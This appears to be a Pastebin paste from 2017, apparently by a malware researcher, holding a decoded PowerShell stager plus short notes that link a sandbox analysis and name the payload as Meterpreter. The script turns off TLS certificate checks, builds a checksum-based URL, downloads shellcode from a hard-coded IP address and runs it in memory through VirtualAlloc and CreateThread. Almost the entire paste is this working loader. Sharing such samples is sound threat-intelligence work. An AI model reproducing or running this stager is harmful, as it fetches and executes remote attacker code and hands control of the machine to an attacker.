James_inthe_box

Decoded

Nov 13th, 2017
403
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.86 KB | None | 0 0
  1. $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\" $q = @"
  2. [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  3. [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  4. "@
  5. try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
  6. function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)}
  7. function t {$f = "";1..3|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}
  8. function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
  9. function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
  10. [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;
  11. $m.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");$n = g; [Byte[]] $p = $m.DownloadData("https://40.143.186.71:443/$n" )
  12. $o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru
  13. $x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)
  14. $o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{} \" )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
  15.  
  16. drops
  17. https://www.hybrid-analysis.com/sample/a1261255856961bc9d6b1da7d583e4671196dc3893582f4f1553b381c5d5d5d9?environmentId=100
  18. https://40.143.186.71/uf4M <- is meterpreter
  19. https://40.143.186.71/0Yhpk9uqoD7F9sT3n_9cuQ-g9k21qIMu8f4ZwhYAULyAYu/
Add Comment
Please, Sign In to add comment